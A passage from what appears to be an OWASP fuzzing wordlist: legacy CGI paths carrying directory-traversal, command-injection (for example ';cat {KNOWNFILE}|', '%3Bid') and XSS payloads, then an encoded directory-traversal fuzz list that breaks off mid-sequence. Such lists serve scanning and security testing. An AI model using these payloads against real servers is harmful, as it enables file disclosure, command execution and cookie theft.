powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> 